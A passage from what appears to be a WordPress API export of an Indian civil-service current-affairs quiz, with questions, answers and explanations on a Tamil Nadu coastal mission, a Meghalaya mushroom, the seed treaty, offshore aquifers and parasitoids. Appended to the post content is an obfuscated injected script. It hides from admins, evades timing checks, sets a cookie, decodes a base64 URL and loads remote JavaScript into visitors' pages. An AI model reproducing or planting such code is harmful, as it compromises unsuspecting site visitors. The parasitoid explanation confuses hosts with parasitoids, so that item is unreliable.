\u20b9502.5 crore<\/strong>. <strong>Hence option (c) is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Coverage:<\/strong> It spans <strong>14 coastal districts<\/strong> of Tamil Nadu, covering approximately <strong>1,076 km of coastline<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Objectives:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li><strong>Biodiversity restoration:<\/strong> Protect and enhance mangroves, coral reefs, seagrass beds, and salt marshes.<\/li>\n\n\n\n<li><strong>Coastal protection:<\/strong> Control erosion, strengthen natural barriers, and improve climate resilience.<\/li>\n\n\n\n<li><strong>Livelihood support:<\/strong> Empower local coastal communities through sustainable resource management.<\/li>\n\n\n\n<li><strong>Pollution control:<\/strong> Reduce marine plastic waste and other pollutants.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Key Initiatives:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-114\">\n<li>Reviving <strong>coral reefs<\/strong> in Gulf of Mannar.<\/li>\n\n\n\n<li>Establishing <strong>botanical gardens<\/strong> in collaboration with Kew Gardens, UK.<\/li>\n\n\n\n<li>Sea turtle and dugong conservation centers.<\/li>\n\n\n\n<li>Restoration of degraded coastal areas like <strong>Ennore Creek<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Governance &amp; Implementation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li>Managed by a <strong>high-powered steering committee<\/strong> including state department secretaries, forest officials, and a Chief Mission Director.<\/li>\n\n\n\n<li>Emphasizes <strong>community participation<\/strong>, with Village Mangrove Councils overseeing mangrove restoration and local procurement.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Blue Carbon &amp; Sustainability:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-118\">\n<li>Establishment of a <strong>Tamil Nadu Blue Carbon Agency<\/strong> to monitor carbon sequestration from mangroves, seagrass, and salt marshes.<\/li>\n\n\n\n<li>Promotes the <strong>Blue Economy<\/strong> by balancing ecological restoration with sustainable economic growth.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Targets:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-120\">\n<li>For 2025-26, the mission plans to restore <strong>~700 hectares of degraded mangroves<\/strong> and plant <strong>~300 hectares of new mangroves<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><br><strong>Q. \u2018BioCarbon Fund Initiative for Sustainable Forest Landscapes\u2019 is managed by the<\/strong> <br><br>(a) Asian Development Bank <br>(b) International Monetary Fund <br>(c) United Nations Environment Programme <br><strong>(d) World Bank<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/village-mangrove-councils-in-tamil-nadu-to-handle-world-bank-funds-for-mangrove-plantation\/article70084891.ece#:~:text=As%20part%20of%20the%20Tamil,bioshield%20enhancement%20through%20mangrove%20plantations\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/village-mangrove-councils-in-tamil-nadu-to-handle-world-bank-funds-for-mangrove-plantation\/article70084891.ece#:~:text=As%20part%20of%20the%20Tamil,bioshield%20enhancement%20through%20mangrove%20plantations<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>7. Lactifluus khasianus, sometimes seen in the news, is<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">(a) A newly identified butterfly species in the Eastern Himalayas<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">(b) A newly identified edible mushroom species in Northeastern states<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(c) An invasive species causing threat to native plants in western ghats<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">(d) A fungal species used primarily in traditional medicine for curing skin diseases<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Answer: (b) A newly identified edible mushroom species in Northeastern states<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>In NEWS: <\/strong>New Edible Mushroom Species Discovered In Meghalaya Forests<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Lactifluus khasianus:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-131\">\n<li><em>Lactifluus khasianus<\/em> is a <strong>recently identified edible mushroom species<\/strong> discovered in the <strong>East Khasi Hills of Meghalaya<\/strong>, India. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Locally, it is known as <strong>\u201cTit iongnah\u201d<\/strong> by the Khasi tribal communities, who have consumed it for generations.<\/li>\n\n\n\n<li>It belongs to the genus <strong>Lactifluus<\/strong>, section <strong>Gerardii<\/strong>, and grows at an altitude of around <strong>1,600 meters<\/strong>.<\/li>\n\n\n\n<li>The species forms <strong>ectomycorrhizal associations<\/strong> with <strong>Khasi pine (Pinus kesiya)<\/strong>, aiding nutrient cycles and forest health.<\/li>\n\n\n\n<li>Morphologically, it is characterized by a <strong>chocolate-brown cap<\/strong> and larger <strong>cystidia<\/strong> compared to related species.<\/li>\n\n\n\n<li>The mushroom is harvested during the <strong>monsoon season<\/strong> and is an important source of <strong>protein and micronutrients<\/strong> for local communities.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"272\" height=\"173\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-24.jpg\" alt=\"\" class=\"wp-image-2443\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"312\" height=\"172\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/09\/image-25.jpg\" alt=\"\" class=\"wp-image-2444\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-25.jpg 312w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/09\/image-25-300x165.jpg 300w\" sizes=\"auto, (max-width: 312px) 100vw, 312px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. With reference to &#8220;Gucchi&#8221; sometimes mentioned in the news, consider the following statements:<\/strong> <br><br>1. It is a fungus. <br>2. It grows in some Himalayan forest areas. <br>3. It is commercially cultivated in the Himalayan foothills of north-eastern India. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 3 only <br><strong>(c) 1 and 2<\/strong> <br>(d) 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.gktoday.in\/new-edible-mushroom-species-discovered-in-meghalaya-forests\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.gktoday.in\/new-edible-mushroom-species-discovered-in-meghalaya-forests\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>8. Consider the following statements with respect to the International Treaty on Plant Genetic Resources for Food and Agriculture:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">I. It is a legally binding international agreement adopted by the FAO in 2001.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">II. The treaty allows member countries to share seeds and plant materials for research and breeding.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">III. India is not one among the contracting parties to the treaty.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(a) I and II&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(b) II only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(c) I and III&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(d) None of the above statements is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Answer: (a) I and II<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>In NEWS: <\/strong>Global farmers\u2019 alliance warns against seed treaty reforms that threaten farmers\u2019 rights<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>The International Treaty on Plant Genetic Resources for Food and Agriculture (ITPGRFA):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li>The International Treaty on Plant Genetic Resources for Food and Agriculture (ITPGRFA), also known as the Seed Treaty, is a <strong>legally binding international agreement<\/strong> adopted by the FAO in 2001 and in force since 2004. <strong>&nbsp;Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>As of now, the treaty has over <strong>140 contracting parties<\/strong>, including India. <strong>Hence statement III is incorrect.<\/strong><\/li>\n\n\n\n<li>The treaty establishes a Multilateral System of Access and Benefit-Sharing for many important crops, facilitating access to these resources for research and breeding under conditions set by the Standard Material Transfer Agreement (SMTA).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Key Objectives:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-148\">\n<li><strong>Conservation and Sustainable Use: <\/strong>To maintain and ensure the long-term availability of plant genetic resources for food and agriculture, crucial for future food security.<\/li>\n\n\n\n<li><strong>Access and Benefit-Sharing: <\/strong>To create a global system for exchanging genetic material for research, breeding, and training, with benefits shared with countries of origin.<\/li>\n\n\n\n<li><strong>Farmer&#8217;s Rights: <\/strong>To formally recognize the crucial contributions of farmers and indigenous people as custodians of crop diversity.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Multilateral System (MLS):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">A key feature of the treaty is the <strong>Multilateral System of Access and Benefit-Sharing<\/strong>, which:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-151\">\n<li>Covers <strong>64 key food and forage crops<\/strong>.<\/li>\n\n\n\n<li>Allows member countries to <strong>share seeds and plant materials<\/strong> for research and breeding.<strong> Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li>Requires recipients to share <strong>benefits<\/strong> (e.g., royalties or technologies) if they commercialize products using those resources.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Farmers&#8217; Rights:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">The treaty also affirms:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-154\">\n<li>Protection of <strong>traditional knowledge<\/strong>.<\/li>\n\n\n\n<li><strong>Right to save, use, exchange, and sell farm-saved seeds<\/strong>.<\/li>\n\n\n\n<li>Participation in decision-making on genetic resources.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\">However, implementation of these rights varies widely by country.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Farmers&#8217; Concerns on Seed Treaty Reforms:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-157\">\n<li><strong>Expansion of Crop Coverage: <\/strong>Proposal to include <em>all<\/em> plant genetic resources (beyond current 64 crops) in the Multilateral System may risk <strong>exploitation of traditional and local seed varieties<\/strong>.<\/li>\n\n\n\n<li><strong>Weak Protection of Farmers\u2019 Rights: <\/strong>Draft reforms <strong>fail to secure farmers&#8217; rights<\/strong> to <strong>save, use, exchange, and sell<\/strong> their own seeds.<\/li>\n\n\n\n<li><strong>Biopiracy Risks: <\/strong>Concern over <strong>corporations patenting traditional seeds<\/strong> without fair compensation to the communities that developed them.<\/li>\n\n\n\n<li><strong>Unfair Benefit-Sharing: <\/strong>Despite widespread seed use under the treaty, <strong>benefits rarely reach the original farmers or countries<\/strong> contributing genetic resources.<\/li>\n\n\n\n<li><strong>Lack of Transparency: Unclear who is accessing seeds<\/strong>, for what purpose, and how benefits are being shared or tracked.<\/li>\n\n\n\n<li><strong>Threat to National Seed Sovereignty: Local control over seeds could weaken<\/strong> if genetic materials become globally accessible without safeguards.<\/li>\n\n\n\n<li><strong>Exclusion from Decision-Making: <\/strong>Farmers and local groups claim <strong>negotiations favor corporate interests<\/strong>, with <strong>minimal farmer participation<\/strong>.<\/li>\n<\/ol>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. Consider the following international agreements<\/strong> <br><br>1. The International Treaty on Plant Genetic Resources for Food and Agriculture <br>2. The United Nations Convention to Combat Desertification <br>3. The World Heritage Convention <br><br><strong>Which of the above has\/have a bearing on the biodiversity?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br>(c) 1 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/agriculture\/global-farmers-alliance-warns-against-seed-treaty-reforms-that-threaten-farmers-rights\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/agriculture\/global-farmers-alliance-warns-against-seed-treaty-reforms-that-threaten-farmers-rights<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>9. Which of the following factors help freshwater persist beneath the seafloor in offshore aquifers?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\">1. Density contrast between freshwater and seawater<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">2. Presence of impermeable cap rocks<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">3. Continuous recharge from ocean water<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">4. Original recharge during past glacial periods<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">(b) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">(d) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Answer: (b) 1, 2 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>In NEWS:<\/strong> Scientists have confirmed a large freshwater aquifer beneath the sea floor off the northeast U.S. coast (New Jersey to Maine).: What are offshore aquifers and why are they significant?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Offshore aquifers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-173\">\n<li>Offshore aquifers are like terrestrial aquifers in that they are porous rocks or sediments saturated with freshwater\u2014but located under the seafloor.<\/li>\n\n\n\n<li>It is estimated that offshore aquifers might extend up to ~\u202f90\u202fkm offshore, and that globally they may contain about 1 million cubic kilometres of freshwater\u2014roughly 10% of all terrestrial fresh groundwater.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>How did that freshwater get there? There are two main hypotheses:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-175\">\n<li>During past ice ages (when sea levels were lower), those areas now underwater were dry land, so rainfall could infiltrate and recharge aquifers that now lie under the sea.<\/li>\n\n\n\n<li>There may be connections with onshore aquifers that continue to feed freshwater into the offshore portions.<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-176\">\n<li>A \u201ccap rock\u201d or impermeable clay-rich sediment layer may prevent mixing of freshwater and saltwater, keeping the freshwater \u201clocked in.\u201d <strong>Hence 2 is correct.<\/strong><\/li>\n\n\n\n<li>Extracting water from these offshore aquifers is expensive and difficult. One estimate for such a drilling effort cost ~$25 million.<\/li>\n\n\n\n<li>Other challenges include designing wells under the seafloor, transporting the water to land, avoiding saltwater intrusion (i.e. mixing with seawater), ecological impacts, and disputes over ownership \/ rights among coastal communities. <strong>Hence 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>How Freshwater Can Persist Under the Sea:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-178\">\n<li>Density contrast: Freshwater is less dense than saltwater. If a low-permeability \u201ccap\u201d (such as clay layers) exists, it can prevent upward mixing or infiltration of seawater into the freshwater zone. <strong>Hence 1 is correct.<\/strong><\/li>\n\n\n\n<li>Original recharge \/ relic water: Much of the water might be \u201crelict\u201d\u2014i.e. it moved in when the area was above sea level (during glacial \/ low sea-level periods) and remained trapped as sea levels rose. <strong>Hence 4 is correct.<\/strong><\/li>\n\n\n\n<li>Geological structure: Porous sediments or rocks, faulting, fractures, and connectivity (or lack thereof) influence how water moves or is confined.<\/li>\n\n\n\n<li>Submarine groundwater discharge: Fresh or brackish groundwater may slowly flow from land into the sea (i.e. submarine groundwater discharge), though this is usually closer to shore and in shallower sediments.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br><strong>Statement I:<\/strong> In the context of the effect of water on rocks, chalk is known as a very permeable rock whereas clay is known as quite an impermeable or least permeable rock.&nbsp;&nbsp; <br><strong>Statement II:<\/strong> Chalk is porous and hence can absorb water. <br><strong>Statement III:<\/strong>&nbsp; Clay is not at all porous. <br><br><strong>Which one of the following is correct in respect of the above statements?&nbsp; <\/strong>&nbsp; <br><br>(a) Both Statement II and Statement III are correct and both of them explain Statement I&nbsp;&nbsp; <br>(b) Both Statement II and Statement III are correct but only one of them explains Statement I&nbsp;&nbsp; <br><strong>(c) Only one of the Statements II and III is correct and that explains Statement I&nbsp; <\/strong>&nbsp; <br>(d) Neither Statement II nor Statement III is correct&nbsp;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/freshwater-sea-floor-offshore-aquifers-10239958\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/freshwater-sea-floor-offshore-aquifers-10239958\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>10. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">1. Carabid beetles<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">2. Centipedes<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">3. Flies<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\">4. Termites<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">5. Wasps<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Parasitoid species are found in how many of the above kind of organisms?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\">(a) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\">(b) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\">(c) Only four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\">(d) All five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Answer: (b) Only three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><strong>EXPLANATION:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\"><strong>Parasitoids<\/strong> are organisms whose <strong>larvae develop on or inside a host, eventually killing it<\/strong>. Typically, <strong>parasitoid species<\/strong> are primarily found among <strong>insects<\/strong> rather than non-insects like centipedes.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-194\">\n<li><strong>Carabid beetles<\/strong> \u2013 Generally predators; <strong>not known as common hosts<\/strong> for parasitoids<\/li>\n\n\n\n<li><strong>Centipedes<\/strong> \u2013 Arthropods but predatory; <strong>not common hosts<\/strong><\/li>\n\n\n\n<li><strong>Flies<\/strong> \u2013 Many flies serve as hosts (e.g., Tachinid flies parasitized by other parasitoids)<\/li>\n\n\n\n<li><strong>Termites<\/strong> \u2013 Some wasp parasitoids target termite colonies<\/li>\n\n\n\n<li><strong>Wasps<\/strong> \u2013 Many wasps themselves are <strong>parasitoids<\/strong>, and some wasps are hosts for other parasitoids<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to Indian polity, consider the following statements: 1. The constitution of India under the tenth schedule defines [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,71,11,42],"tags":[],"class_list":["post-2442","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-good-morning-test","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2442","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2442"}],"version-history":[{"count":4,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2442\/revisions"}],"predecessor-version":[{"id":2996,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2442\/revisions\/2996"}],"wp:featuredmedia":[{"embeddable